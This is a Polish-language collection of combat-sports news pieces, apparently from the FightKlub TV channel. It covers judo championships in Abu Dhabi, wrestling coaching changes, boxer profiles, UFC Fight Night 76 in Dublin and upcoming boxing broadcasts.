Rok temu biało-czerwoni znakomicie spisali się w Abu Dhabi, zdobywając 3 brązowe medale. Na podium stali wówczas Katarzyna Kłys i Maciej Sarnacki oraz Agata Ozdoba (-63 kg), która niedawno – podobnie jak Daria Pogorzelec (-78 kg) – doznała ciężkiej kontuzji kolana i w tym roku już nie wystąpi.
 
Kilka dni temu brąz do kolekcji dołożył startujący w Mistrzostwach Świata Juniorów Piotr Kuczera (-90 kg). Z pewnością niebawem tego utalentowanego zawodnika, Mistrza Polski Seniorów, zobaczymy również w zawodach rangi Grand Prix i Grand Slam, które transmitujemy w FightKlubie.
 
Grand Slam w ZEA ma znakomitą obsadę, na liście zgłoszeń jest ponad 500 zawodniczek i zawodników z 92 krajów. Bardzo silny skład, z trzema Mistrzami Olimpijskimi z Londynu, awizowali np. Rosjanie. Gospodarze wystawiają 14 judoków, w tym 5 urodzonych w Mołdawii.

""

Hard Knocks Fighting w poniedziałki i środy o 22:00

Program poświęcony jest galom Hard Knocks Fighting – jednej z najprężniej działających federacji MMA w Ameryce Północnej. Założona została w 2009 roku, do dziś zorganizowała ponad czterdzieści widowiskowych gal. To pod jej skrzydłami swoje pierwsze zawodowe szlify zdobywała Ronda Rousey, była medalista igrzysk olimpijskich w judo, a obecnie jedna z najlepszych specjalistek mieszanych sztuk walki na świecie. Hard Knocks Fighting przyznaje pasy w siedmiu kategoriach wagowych, w tym momencie ich posiadaczami są: Misha Cirkunov, Brent Auger, Sergej Juskevic, Chris Anderson, Jason Fischer, Nick Burnham i Justin Basra.

Na premierowe emisje programu zapraszamy do FightKlubu w każdy poniedziałek i środę na godzinę 22:00.

źródło: informacja prasowa

Maksymiuk trenerem kadry

Polski Związek Zapaśniczy rozstrzygnął konkurs na stanowisko trenera reprezentacji Polski klasyków. Nowym szkoleniowcem kadry został Andrzej Maksymiuk.

Przypomnijmy. Po nieudanych mistrzostwach świata w zapasach w Las Vegas, gdzie nasi klasycy nie wywalczyli ani jednej kwalifikacji olimpijskiej ze stanowiskiem szkoleniowca kadry pożegnał się Ryszard Wolny. Polski Związek Zapaśniczy ogłosił konkurs na nowego trenera. W postępowaniu zgłoszono trzy kandydatury.

Wybrali Polaka

Do PZZ wpłynęły trzy oferty: Andrzeja Maksymiuka, Białorusina Waleryego Cylenca oraz Ukraińca Maksyma Czepurko. Działacze związkowi musieli pochylić się nad wszystkimi kandydaturami, aby wyłonić najlepszą. Jakie kryteria były najważniejsze? Przede wszystkim liczyło się doświadczenie oraz przygotowanie właściwej koncepcji pracy.

Cylenc jakby sam wykluczył się z rywalizacji o stanowisko szkoleniowca. Białorusin nie przygotował swojej wizji pracy z kadrą. W przypadku Czepurko uznano, że ma zbyt małe doświadczenie. Z kolei Andrzej Maksymiuk swoją przygodę z zapasami rozpoczął w 1980 roku, a pierwsze kroki w pracy szkoleniowiej podjął w 2000 roku.

Pierwszy znaczący sukces Maksymiuk odniósł w 1987 roku, kiedy to sięgnął po srebrny medal mistrzostw świata juniorów w kategorii 52kg. Trenował w Śląsku Wrocław pod okiem Jerzego Adamka. Był członkiem kadry narodowej, w 1990 roku wziął udział w mistrzostwach Europy. Karierę trenerską również związał ze Śląskiem Wrocław. Zaczynał jako asystent Jerzego Adamka, u boku którego zbierał wiedzę i cenne uwagi. Maksymiuk dał się poznać jako trener, który potrafi dobrze przygotować swoich zawodników do startów na najwyższym poziomie. Nowy trener kadry może zapisać na swoje konto udział w zdobyciu brązowego medalu Igrzysk Olimpijskich w Londynie przez Damiana Janikowskiego czy mistrzostwo Europy Artura Michalkiewicza.

Jakie cele?

Oficjalnie swoje obowiązki Maksymiuk zacznie pełnić 1 listopada. Kontrakt nowego trenera kadry klasyków będzie obowiązywał do 30 września 2017 roku. Szkoleniowiec będzie miał ręce pełne roboty. Z pewnością jego sprzymierzeńcem nie będzie czas. 

Głównym celem Maksymiuka jest wywalczenie kwalifikacji olimpijskich do Igrzysk w Rio de Janeiro. Trener Wolny poległ, gdyż w Las Vegas kadra wypadła blado. O krok od uzyskania biletu do Rio był Damian Janikowski, który zajął siódmą lokatę. Teraz walka rozpoczyna się jakby od nowa. Tyle, że czas ucieka. Maksymiuk musi przystąpić do pracy i zmotywować swoich zawodników, wlać w ich serca nadzieję i przedstawić wizję. Pierwszym poważnym sprawdzianem jego pracy będą mistrzostwa Europy w Zerjaninie, które odbędą się w kwietniu. Tam gra będzie toczyła się o prym na Starym Kontynencie oraz awans na igrzyska. 

Do startu Igrzysk Olimpijskich w Rio de Janeiro pozostało dziewięć miesięcy. Trzeba ten czas przepracować jak najbardziej owocnie, aby zaprezentować się na brazylijskich arenach.

KM

Marco Huck

Niemiecki bokser pochodzenia boszniackiego urodzony 11 listopada 1984 roku w Ugao.  W młodości trenował kickboxing. Był amatorskim mistrzem Europy (2002) i Świata (2003) WAKO  w formule full contact. Karierę bokserską rozpoczął w listopadzie 2004 roku. W grudniu 2006, w swoim siedemnastym pojedynku zdobył tytuł zawodowego mistrza Unii Europejskiej w kategorii junior ciężkiej, pokonując Pietro Aurino. W styczniu 2007 roku Huck obronił swój tytuł, pokonując na punkty Ismaila Abdoula. 26 maja tego samego roku w pojedynku eliminacyjnym IBF pokonał decyzją większości sędziów na punkty Wadima Tokariewa. 29 grudnia 2007 zmierzył się ze Steve’em Cunninghamem. Stawką pojedynku był tytuł mistrza Świata IBF, będący w posiadaniu Amerykanina. Po zaciętym pojedynku wygrał Cunningham przez techniczny nokaut w ostatniej rundzie, po tym jak trener Niemca poddał go rzucając ręcznik na ring. W kwietniu i maju 2008 Huck pokonał przed czasem dwóch słabszych pięściarzy, a następnie 20 września tego samego roku zdobył tytuł zawodowego mistrza Europy w kategorii junior ciężkiej, pokonując przez techniczny nokaut Jeana Marca Monrose’a. Tytuł ten obronił trzykrotnie: w październiku 2008 pokonał już w drugiej rundzie Fabio Tuiacha, w styczniu następnego roku zwyciężył przez techniczny nokaut w trzeciej rundzie Geoffreya Battelo, a niecałe pięć miesięcy później, także przez techniczny nokaut, tym razem w piątej rundzie, pokonał Witalija Rusala. 29 sierpnia 2009 zmierzył się z Victorem Emilio Ramirezem, ówczesnym mistrzem świata federacji WBO. Stawką pojedynku był pas mistrzowski WBO. Huck po bardzo zaciętym pojedynku wygrał jednogłośnie na punkty. 5 grudnia tego samego roku w pierwszej obronie tytułu pokonał jednogłośnie na punkty Ola Afolabiego. 13 marca 2010 znokautował w trzeciej rundzie Adama Richardsa. 1 maja 2010 pokonał przez techniczny nokaut w dziewiątej rundzie Briana Minto. 14 lipca Huck został uhonorowany diamentowym pierścieniem za pięć kolejnych obron pasa mistrzowskiego, a trzy dni później po raz siódmy skutecznie obronił pas, nokautując Hugo Garaya. 25 lutego 2012 przeszedł do kategorii ciężkiej, by zmierzyć się z mistrzem federacji WBA Aleksandrem Powietkinem, któremu uległ decyzją sędziów dwa do remisu. 14 sierpnia 2015 roku w Newark stracił tytuł na rzecz Krzysztofa Głowackiego, przegrywając walkę w obronie mistrzostwa świata WBO przez nokaut w jedenastej rundzie. 

Ewa Piątkowska

Polska pięściarka zawodowa wagi superlekkiej urodzona 16 września 1984 roku w Radomiu. Jest absolwentką prywatnej Polsko-Japońskiej Wyższej Szkoły Technik Komputerowych w Warszawie. Wcześniej uprawiała koszykówkę, piłkę nożną i rugby. Boks zaczęła uprawiać w wieku 22 lat. W 2007 roku zdobyła mistrzostwo Śląska, a w 2008 roku wicemistrzostwo Polski. Jest ćwierćfinalistką mistrzostw Świata z 2008 roku w Ningbo w Chinach oraz mistrzostw Europy z 2009 roku w Mikołajowie na Ukrainie.  16 lutego 2013 zadebiutowała na zawodowym ringu na gali w Pionkach. Pokonała w pierwszej rundzie przez techniczny nokaut reprezentantkę Bośni i Hercegowiny Maję Jahić. 31 sierpnia 2013 roku rywalką Polki była Czeszka Pavla Votavova. Piątkowska wygrała przez nokaut w pierwszej rundzie.  W styczniu 2014 roku Ewa Piątkowska podpisała kontrakt z grupą promotorską KnockOut Promotions i rozpoczęła prace z trenerem Fiodorem Łapinem. 15 marca 2014 na gali w hotelu Arłamów w Arłamowie znokautowała w pierwszej rundzie Słowaczkę Dasę Gaborovą. 31 maja na gali w Lublinie pokonała jednogłośnie na punkty w czterorundowym pojedynku Klaudię Szymczak.  18 października 2014 roku w Nowym Dworze Mazowieckim Piątkowska pokonała przez techniczny nokaut Węgierkę Zsofię Bedo.  31 stycznia 2015 roku na gali Wojak Boxing Night w Toruniu w szóstej kolejnej walce z byłą mistrzynią Europy Belgijką Sabriną Giuliani, wygrała jednogłośnie na punkty w ośmiorundowym pojedynku.  10 kwietnia 2015 na gali w Gliwicach zmierzyła się w pojedynku o wakujący pas WBC Silver z Kenijką Jane Kavulani. Po dziesięciu rundach wygrała jednogłośnie na punkty, zdobywając pierwszy tytuł w karierze. 26 września 2015 roku doznała swojej pierwszej porażki w zawodowej karierze. W starciu z Ewą Brodnicką, Ewa Piątkowska przegrała jednogłośną decyzją sędziów.

Karolina Michalczuk

Polska bokserka urodzona 6 grudnia 1979 roku w Brzezicach. W 2006 roku na mistrzostwach Świata w New Delhi, Michalczuk zdobyła srebrny medal. Dwa lata później w Ningbo zdobyła złoty medal w mistrzostwach Świata w boksie amatorskim. To pierwszy złoty medal w historii dotychczasowych startów reprezentantek Polski w Mistrzostwach Świata.  W 2010 roku w Bridgetown nie zdołała obronić tytułu mistrzyni świata i zdobyła brązowy medal, podobnie jak w 2012 roku w Qinhuangdao.  Karolina jest mistrzynią Europy z Tonsberg (2005) i Mikołajowa (2009), zdobywczyni brązowych medali w Vejle (2007) i Rotterdamie (2011). Startuje w kategoriach wagowych do 54 kg i do 51 kg. Uczestniczka Igrzysk Olimpijskich w 2012 roku. W pierwszej walce w kategorii wagowej do 51 kg przegrała z indyjską zawodniczką Mary Kom i nie awansowała do ćwierćfinału.

Jotko zwycięża po przerwie

Na tę walkę Krzysztof Jotko czekał rok. W końcu wrócił do oktagonu i stoczył swój czwarty pojedynek w UFC. Wygrał po raz trzeci.

Polak podczas gali UFC Fight Night 76 w Dublinie spotkał się z Scottem Askhamem. Jotko pokazał, że jest twardym fighterem i ciągle liczy się w wadze średniej.

Wyrównany bój

Miał zaprezentować się podczas gali UFC w Krakowie, jednak kontuzja pokrzyżowała jego plany. Krzysztof Jotko podczas przygotowań do występu na rodzimej ziemi złamał rękę. Polak musiał wycofać się z gali w Krakowie i chwilę odpocząć od MMA.

Gdy doszedł do pełni zdrowia mógł myśleć o kolejnym występie. Jotko ostatni raz w oktagonie zaprezentował się 4 października 2014 roku, gdy stoczył bój z Torem Troengiem. Polak mógł wznieść ręce w geście triumfu, ale na kolejny pojedynek przyszło czekać mu ponad rok. Wrócił i pokazał, że ma potencjał, aby godnie reprezentować Polskę w najlepszej organizacji mieszanych sztuk walki na świecie.

Gali towarzyszyła wyjątkowa atmosfera. Kibice stworzyli wspaniałe widowisko, więc fighterom nie pozostało nic innego jak dostosować się do poziomu. Jotko chciał się pokazać z jak najlepszej strony i mocno rozpoczął pojedynek. Polak był aktywny, nie szczędził rywalowi ciosów. W parterze konsekwentnie rozbijał twarz Anglika i wydawało się, że Askham nie doczeka do końca walki. Druga runda to zmiana ról. Aktywniejszy był Askham, który zyskał w oczach sędziów. O wszystkim miała zadecydować trzecia runda. Obaj zawodnicy dali z siebie wszystko. Zmęczenie było widoczne, ale z drugiej strony chcieli walczyć i postawić kropkę nad „i”. Po ich twarzach spływała krew, jednak Jotko wydawał się ciut szybszy i bardziej agresywny.

Sędziowie mieli jednak trudny wybór. Ich decyzja nie był jednogłośna, ale szczęśliwa dla polskiego fightera. Jotko wygrał i mógł cieszyć się z trzeciego zwycięstwa w UFC. Jeden arbiter uznał, że lepszy był Askham. Anglik był aktywny i nie ustępował umiejętnościami Polakowi, ale w pierwszej rundzie Jotko wyraźnie przeważał. Co dalej? Po roku przerwy Jotko jest głodny walki. Teraz chce wrócić do czołowej piętnastki wagi średniej, a w perspektywie myśli o walce rewanżowej z Magnusem Cedenbladem.

Efektowny Smolka

Joseph Duffy wypadł z rozpiski gali UFC Fight Night 76, a dla Dustina Poiriera nie znaleziono rywala, co spowodowało, że rangę walki wieczoru otrzymał pojedynek Louis Smolka vs Paddy Holohan. Co by nie powiedzieć rozstrzygnięcie było efektowne. Pod koniec drugiej rundy Smolka zdominował rywala w parterze. Duszenie zza pleców okazało się skuteczne, Holohan nie potrafił się uwolnić i musiał odklepać.

Neil Seery wykazał się niezwykła ekwilibrystyką. Jon Reyes nie wytrzymał bólu, który zaaplikował mu rywala stosując gilotynę. Garreth McLellan zalał ciosami Bubbę Busha w parterze i na dwie sekundy przed upływem czasu zakończył walkę.

Wyniki gali:

125Ibs: Louis Smolka pokonał Paddy’ego Holohana przez poddanie 
155Ibs: Norman Parke pokonał Rezę Madadiego przez jednogłośną decyzję
170Ibs: Darren Till vs. Nicolas Dalby większościowy remis 
125Ibs: Neil Seery pokonał Jona Delosa Reyesa przez poddanie (gilotyna)
155Ibs: Stevie Ray pokonał Mickaela Lebout przez jednogłośną decyzję 
115Ibs: Aisling Daly pokonała Erickę Almeidę przez jednogłośną decyzję 
185Ibs: Krzysztof Jotko pokonał Scott Askham przez niejednogłośną decyzję 
170Ibs: Tom Breese pokonał Cathala Pendreda przez TKO 
145Ibs: Darren Elkins pokonał Roberta Whiteforda przez jednogłośną decyzję 
185Ibs: Garreth McLellan pokonał Bubbę Busha przez TKO 

KM

Pierwsza porażka Gerleckiego

Michał Gerlecki zaprezentował się w walce wieczoru podczas gali Budweld Boxing Night w Białymstoku. 28-letni pięściarz kategorii półciężkiej zanotował pierwszą porażkę w zawodowej karierze.

Gerard Ajetović dał Polakowi prawdziwą lekcję boksu. Gerlecki został całkowicie zdominowany przez rywala. W Białymstoku zaprezentowali się również Robert Świerzbiński i Nikodem Jeżewski.

Groźny Ajetović

Do tej pory Gerlecki zbierał kolejne doświadczenia na ringu z pozytywnym efektem. Polak stopniowo doskonalił swoje umiejętności podczas występów w Polsce. Trafiał na różnych przeciwników. Niektórzy dopiero zbierali doświadczenie na ringu, a inni byli tylko i wyłącznie solidni. W marcu 2015 roku podczas gali w Lubinie Gerlecki zmierzył się z doświadczonym Stjepanem Bozicem, który stoczył ponad trzydzieści zawodowych walk. Bilans Polaka wyglądał blado, gdyż do rywalizacji przystępował z wynikiem dziewięciu zwycięskich pojedynków. Gerlecki pokazał, że ma mocny cios i w czwartej rundzie pokonał Bozica.

Ajetović to kolejny z doświadczonych pięściarz na drodze Gerleckiego. 34-letni pięściarz stoczył na ringach czterdzieści walk, jednak ostatnie cztery przegrał. Wielu obserwatorów przed pojedynkiem uważało, że Gerlecki jest faworytem. Akcje Ajetovicia nie stały wysoko, ale w boksie doświadczenie odgrywa istotną rolę. Pojedynek od początku był ostrożny w wykonaniu obu pięściarzy. Gerlecki starał się rozpoznać Serba. Polak szukał swojej szansy, jednak pojedyncze ciosy nie mogły zrobić jego oponentowi krzywdy. Ajetović decydował się na szarże, ale były to sporadyczne akcje. Z czasem 34-latek poczynał sobie coraz śmielej. Faktem jest, że Gerlecki zadawał więcej ciosów, ale mocniejsze i skuteczniejsze wyprowadzał Ajetović. W czwartej odsłonie 34-latek prawym sierpowym zachwiał polskim bokserem. Gerlecki musiał uważać, jednak doświadczony Ajetović raz po raz punktował Polaka. Do swojej gamy ciosów wprowadził uderzenia na tułów, z którymi 28-latek nie mógł sobie poradzić. Czas uciekał, a przewaga Ajetovicia rosła. W dziesiątej rundzie 34-latek rozstrzygnął pojedynek na swoją korzyść. Prawy podbródkowy był na tyle mocny, że Gerlecki padł na deski. Wstał i chciał kontynuować walkę, ale po raz kolejny upadł. Gerlecki próbował jeszcze boksować, ale sędzia przerwał pojedynek. Na kartach sędziowskich również widoczna była przewaga Ajetovicia, który dzięki wygranej zdobył tytuł międzynarodowego mistrza Rzeczpospolitej.

Jeżewski nokautuje

W kategorii średniej spotkali się Robert Świerzbiński i Sebastian Skrzypczyński. Obaj nie mieli ostatnio dobrej passy, dlatego liczyli, że uda im się w końcu ją przerwać. Lepszy okazał się Świerzbiński, który od początku zaznaczył swoją przewagę i w oczach sędziów był zdecydowanie lepszy.

Nie patyczkował się Nikodem Jeżewski. Polak walczący w wadze cruiser już w drugiej rundzie posłał na deski Attilę Palko. Mateusz Rzadkosz po wyrównanej walce niejednogłośnie na punkty pokonał Ivana Murashkina. W wadze ciężkiej triumf Marcina Przeskiego, który w czwartej rundzie zakończył pojedynek z Wladimirem Letrą. Nadal bez wygranej na zawodowym ringu jest Patryk Boruta, który zremisował z Aliaksandrem Abramenką w kategorii półśredniej.

KM

Polacy rywalizują w Abu Zabi

Przez kilka najbliższych dni Zjednoczone Emiraty Arabskie będą areną zmagań judoków i judoczek. W Abu Zabi trwają mistrzostwa świata juniorek i juniorów.

To doskonała okazja, aby zawodnicy z poszczególnych krajów mogli określić swoje miejsce w światowej hierarchii. Jak w tej rywalizacji zaprezentują się Polacy?

Dziewięcioro naszych

Czekamy na dobre występy naszych juniorek i juniorów. Niestety, z rywalizacją pożegnał się już Patryk Wawrzyczek w kategorii 66kg. Polski judoka w pierwszym pojedynku poniósł porażkę w starciu z reprezentantem Iranu Alirezą Khojasteh. Na swoją walkę czeka Julia Kowalczyk, która rywalizuje w kategorii 57kg. Reprezentantka Polski zmierzy się z Francuzką Lisą Marchese. Również w tej samej wadze zobaczymy Martynę Dobrowolską. Druga z Polek w swojej pierwszej walce podejmie Therese Stoll z Niemiec.

Łącznie do Abu Zabi udało się dziewięcioro naszych reprezentantów. Na pierwszego rywala czeka Piotr Kuczera. Nasz judoka w losowaniu dostał wolny los i jego pierwszym rywalem będzie zwycięzca pojedynku Azamat Bektursunov-Noah Mcdonald. W kategorii 90kg, oprócz Kuczery, wystąpi również Rafał Kozłowski. Polak w pierwszym pojedynku w Abu Zabi podejmie reprezentanta Mongolii Tserennyamę Delgera. Jan Jackiewicz wystąpi w kategorii +100kg. W losowaniu Polak trafił na Brazylijczyka Joao Cesarino Silvę. Kamila Pasternak w kategorii 78kg trafiła na Rosjankę Marinę Bukreevą. Dwie nasze zawodniczki wystąpią w +78kg. Na początek Beata Pacut zmierzy się z Iuliią Lianicenko, a Anna Załęczna stanie do boju z Wakabą Tomitą.

Azjatycki początek

Na liście zgłoszonych do startu w Abu Zabi widnieje ponad pięćset pięćdziesiąt nazwisk. Niemalże każda kategoria jest licznie i silnie obsadzona. Jedynie w czterech grupach startuje poniżej trzydziestu zawodników. Chodzi o kategorie 44kg, 70kg, 78kg i +78 kg. Wszystkie u pań. Najmniej, bo szesnaście judoczek stanie do rywalizacji w wadze 44kg. Łącznie na tatami zaprezentują się judocy z osiemdziesięciu dwóch państw.

Pierwsze rozstrzygnięcia są już znane. W kategorii 44kg triumfowała zawodniczka z Korei Południowej Hyekyeong Lee, która w finale pokonała Japonkę Riko Igarashi. Na trzecich miejscach uplasowały się Narantsetseg Gaanbatar z Mongolii oraz Rita Reis z Brazylii. Z kolei Funa Tonaki z Japonii okazała się najlepsza w 48kg. Srebro dla Słowenki Marusy Stangar. Na najniższym stopniu podium stanęły Sephora Concher z Francji z Mikoto Tshunemi z Japonii.

U panów znane są już wyniki rywalizacji w 55kg i 60kg. Magzhan Shamshadin z Kazachstanu pokonał Harima Lee z Korei i zdobył złoty medal. Kolejny brąz dla Mongolii. Tym razem na trzecim miejscu uplasowałsię Amartuvshin Bayaraa. Pierwszy medal dla Gruzji wywalczył Irakli Kupatadze. W 60kg triumf Japończyka Ryuju Nagayamy, który pozbawił złota Mongolczyka Tsogtbaatara Tsendochira. Na trzecich miejscach: Walider Khyar z Francji oraz Channyeong Kim z Korei.

KM

Dublin w rozsypce

Miał być interesujący pojedynek, ale do niego nie dojdzie. Gala UFC Fight Night 76 w Dublinie została pozbawiona walki wieczoru.

W oktagonie miał się zaprezentować Joseph Duffy, czyli fighter, który ma na swoim koncie wygraną z Conorem McGregorem. Panowie spotkali się w 2010 roku i 27-letni Irlandczyk potrzebował trzydziestu ośmiu sekund, żeby rozprawić się ze swoim rodakiem. Duffy miał być gwiazdą UFC Fight Night 76, ale nią nie będzie.

Wszystko przez kontuzję

W walce wieczoru Duffy miał się spotkać z Dustinem Poirierem, który dwie ostatnie walki wygrał przed czasem. Starcie zapowiadało się ciekawie i wszyscy już zacierali ręce, jednak nagle pojawiła się niespodziewana informacja. Do pojedynku nie dojdzie. Dlaczego? Na jednym z treningów Duffy otrzymał mocny cios w głowę, po którym jego samopoczucie pogorszyło się. Po analizie wyników badań zapadła decyzja, że Irlandczyk nie zaprezentuje się 24 października podczas UFC Fight Night 76.

Prawdopodobnie do walki Duffy-Poirier dojdzie w późniejszym terminie. Przedstawiciele UFC zaproponowali Amerykaninowi innego kandydata do rywalizacji w Dublinie. Poirier nie chciał jednak konkurować z Normanem Parke’m. 26-latek stwierdził, że po ustaleniach ze swoim sztabem woli poczekać na Duffy’ego. Po wiadomości o kontuzji Irlandczyka chęć rywalizacji z Poirierem zgłosili m.in. Ross Pearson czy Conor McGregor.

Kibice są rozczarowani. Fani, którzy zakupili wejściówki na galę otrzymają zwrot pieniędzy. To nie pierwsza walka, która nie dojdzie do skutku w Dublinie. Wcześniej z rozpiski wypadł Stipe Miocić i dla Bena Rothwella nie znaleziono rywala. Walką wieczoru podczas gali w Dublinie będzie pojedynek Paddy Holohan vs. Louis Smolka.

Czwarty raz

W Dublinie nie zabraknie polskiego akcentu. Czwartą walkę w UFC stoczy Krzysztof Jotko, który startuje w wadze średniej.

Polski fighter wraca do rywalizacji w oktagonie po rocznej przerwie. Jotko miał się zaprezentować w kwietniu podczas gali UFC w Krakowie, jednak kontuzja uniemożliwiła mu start. Zastąpił go wtedy Bartosz Fabiński. Jednak ze zdrowiem 26-latka już wszystko w porządku i może przystąpić do rywalizacji. W Dublinie Polak zmierzy się z Scott’em Askhamem. Do tej pory Jotko stoczył o dwa pojedynki więcej od Anglika i ma dłuższy staż w UFC. Askham do najlepszej organizacji mieszanych sztuk walki na świecie trafił w 2014 roku. W debiucie poległ z Magnusem Cedenbladem, jednak druga walka zakończyła się jego wiktorią. Mocny cios kolanem sprawił, że Antonio dos Santos Jr. już po trzech minutach nie był zdolny do walki. Jotko musi się mieć na baczności, gdyż Anglik jest szybki i zwrotny. Nasz zawodnik jest wytrzymały i potrafi toczyć mordercze boje. Wygrana z Torem Troengiem pokazała, że 26-latka stać na wiele. Czy odniesie trzecie zwycięstwo w UFC?

KM

Klasyczne niepowodzenia

Rok przedolimpijski to zacięta walka o kwalifikacje do igrzysk. Nasi zapaśnicy w stylu klasycznym nadal muszą mieć się na baczności i szukać swojej szansy w kolejnych startach. Jedną przegapili.

Mistrzostwa świata w Las Vegas nie potoczyły się po myśli naszych klasyków. Nieudany start rozpoczął lawinę. Kadra została bez trenera. Polski Związek Zapaśniczy ogłosił konkurs na stanowisko szkoleniowca. Niebawem rozstrzygnięcie.

Wątpliwości

Ryszard Wolny i Włodzimierz Zawadzki to ikony polskich zapasów. Do niedawna prowadzili polską reprezentację w stylu klasycznym, jednak po mistrzostwach świata w Las Vegas stracili pracę. Nie chodzi nawet o brak medali. Podstawową kwestią było uzyskanie kwalifikacji olimpijskich, a tych zdobyć się nie udało.

Polski Związek Zapaśniczy podjął trudną decyzję i dla wielu osób dość kontrowersyjną. Zwolnienie szkoleniowca kadry na dziewięć miesięcy przed Igrzyskami Olimpijskimi to ogromne ryzyko. Trener Wolny doskonale znał kadrę, orientował się w problemach zawodników i przygotował pewien plan działania, który realizował. W przypadku mistrzostw świata efektów nie było. Zapewne jest to kwestia, która sprawia, że pojawiły się wątpliwości, czy klasycy idą dobrą drogą. Decyzja zapadła. Kadra szuka nowego trenera, a na dziewięć miesięcy przed igrzyskami olimpijskimi podjęcie się nowej misji to ogromne ryzyko. Nie każdy będzie chciał wziąć na siebie taką odpowiedzialność.

Można snuć scenariusze. Wolny zostaje na stanowisku, kilku zapaśników zdobywa kwalifikacje, a na igrzyskach zaliczą przyzwoite występy. Ten scenariusz już w grę nie wchodzi. Będzie nowy trener, który zaszczepi swoje zasady i autorski plan. Będzie musiał działać szybko, pod presją. Z każdej strony będzie obserwowany, bo czas ucieka, a nowy szkoleniowiec musi się w pewien schemat wdrożyć. Czy da radę? Musi to być fachowiec, który udźwignie ten ciężar i zmotywuje kadrę do działania, co pozwoli pojechać do Rio z nadziejami.

Decydujące chwile

W Las Vegas o krok od wywalczenia kwalifikacji olimpijskiej był Damian Janikowski w kategorii 85kg. Zawodnik Śląska Wrocław przegrał w ćwierćfinale z Zhanem Beleniukiem, a w repasażach poległ w starciu z Wiktorem Lorinczem. Ostatecznie Polak został sklasyfikowany na siódmej pozycji, a prawo do startu w Rio wywalczyło sześciu najlepszych zapaśników. Warto dodać, że Janikowski wystąpił w Światowych Wojskowych Igrzyskach Sportowych, gdzie zdobył srebro. Przegrał z Beleniukiem.

Nie ma, co ukrywać, że z Janikowskim polskie zapasy wiążą duże nadzieje. Jego start w Rio de Janeiro jest swego rodzaju obowiązkiem. Kiedy i gdzie będzie miał okazję walczyć o kwalifikację? W kwietniu w Zerjaninie odbędą się mistrzostwa Europy. Awans na igrzyska uzyskają finaliści imprezy. 22-24 kwietnia odbędzie się turniej kwalifikacyjny w Mongolii, a w dniach 6-8 maja w Stambule. Bilet do Rio wywalczy po trzech najlepszych zapaśników.

Kto poprowadzi naszych klasyków w tych startach? To się okaże w najbliższych tygodniach. Polski Związek Zapaśniczy musi przeanalizować oferty złożone w kończącym się postępowaniu.

KM

Gala Imbiriada Fighters Night 5 – Odwołana

W dniu dzisiejszym redakcja naszej telewizji otrzymała wiadomość o odwołaniu gali Imbiriada Fighters Night 5, która miała się odbyć w dniu 7 listopada 2015 r. w Rzeszowie w hotelu Blue Diamond. W nadesłanym oświadczeniu Organizatorzy wskazują jako powód przyczyny obiektywne – wycofanie sponsora strategicznego.

Federacji Fighters Night życzymy szybkiego uporania się z problemem i powrotu ze zdwojoną siłą.

Jose ”JoJo” Diaz i Frankie “Pitbull” Gomez wracają na ring w Fantasy Springs Casino!

Golden Boy Promotions powraca na antenę FightKlubu. Nowa seria gal na żywo rozpocznie się już w najbliższą noc z piątku na sobotę o godzinie 04:00, w słynnym Fantasy Springs Casino w Indio. W głównym pojedynku wieczoru swój talent zaprezentuje sensacja kategorii piórkowej – Amerykanin Joseph “JoJo” Diaz Jr (17-0, 10 KO). Zwycięską passę boksera z South El Monte postara się zatrzymać Meksykanin Ruben “Canelito” Tamayo (23-6-4, 15 KO). 22-letni, walczący z pozycji mańkuta “JoJo” jest ambitny i bezkompromisowy. Bokser zapowiada brutalne pobicie swojego rywala, zakończone nokautem. “Canelito” powie “sprawdzam” już na ringu w Fantasy Springs Casino. Na jego korzyść działa także odwrotna pozycja, a zatem na ringu zobaczymy rzadko spotykane starcie dwóch mańkutów. Walkę zaplanowano na 10 rund.

W drugiej walce wieczoru długo wyczekiwany powrót na ring zanotuje Frankie “Pitbull” Gomez (18-0, 13 KO). Amerykanin meksykańskiego pochodzenia nie pojawił się między linami od lipca zeszłego roku, kiedy to pokonał znanego nam z bojów z Krzysztofem Bieniasem, Włocha Vernona Parrisa. Rywalem 23-letniego “Pitbulla” będzie inny „zwierzak” – Jorge “Pantera” Silva (21-9-2, 17 KO). Gomez to wicemistrz świata amatorów z 2009 roku, trenowany obecnie przez Freddiego Roacha. Szykuje się klasyczna “meksykańska” wojna. Walkę w kategorii półśredniej zaplanowano na 10 rund.

Na te i inne pojedynki z Indio zapraszamy do FightKlubu. Transmisja w nocy z piątku na sobotę od godziny 04:00 (powtórka w sobotę o 11:30).

Gołowkin będzie mistrzem WBC?

W listopadzie odbędzie się interesujący dla hierarchii w wadze średniej pojedynek. Naprzeciw siebie staną Miguel Cotto oraz Saul „Canelo” Alvarez. 

Ten pojedynek będzie starciem starego i doświadczonego lisa oraz młodego, a zarazem mocnego boksera. Cotto jest królem wagi średniej WBC, jednak Alvarez do tej pory przegrał tylko z Floydem Mayweatherem Jr. Meksykanin chce wrócić na szczyt i zdobywać kolejne tytuły.

Potem Gołowkin

Z pewnością starcie Portorykańczyka i Meksykanina dostarczy wielu emocji. Obaj pięściarze potrafią być efektowni i skuteczni. 21 listopada będą mogli zaprezentować swój repertuar. Wydaje się, że Cotto może, a musi Alvarez, ale to tak naprawdę rozstrzygnie się w ringu. Dopiero później będzie można dokonywać bilansu zysku i strat.

Przy okazji można wybiec trochę w przyszłość. Prawdopodobnie zwycięzca pojedynku będzie musiał zmierzyć się z Giennadijem Gołowkinem. Kazach w swojej ostatniej walce pokonał przed czasem Davida Lemieux. Tym samym Gołowkin zunifikował pasy WBA i IBF w wadze średniej, a przy okazji zyskał miano pretendenta do tytułu mistrza świata WBC. – Zwycięzca walki Cotto-Alvarez zmierzy się z Gołowkinem. Cotto i "Canelo" to czołówka boksu, a Gołowkin udowadnia, że też należy do elity. Taki pojedynek może być wielkim wydarzeniem. Gołowkin udowadnia, że walczy na wysokim poziomie i jest jednym z najlepszych pięściarzy bez podziału na kategorie wagowe – mówi Mauricio Sulaiman, prezes WBC.

Tym samym wszystko jest jasne. Jedna walka może poprzedzić drugie wielkie wydarzenie w kategorii średniej. Czy tak musi być?

A może inaczej?

Wydaje się, że zwycięzca walki Cotto-Alvarez powinien stoczyć pojedynek z Gołowkinem, jednak jest wyjście ewakuacyjne. Teoretycznie można uniknąć tego pojedynku. Zwycięzca listopadowego pojedynku może nie zgodzić się na starcie z Gołowkinem.

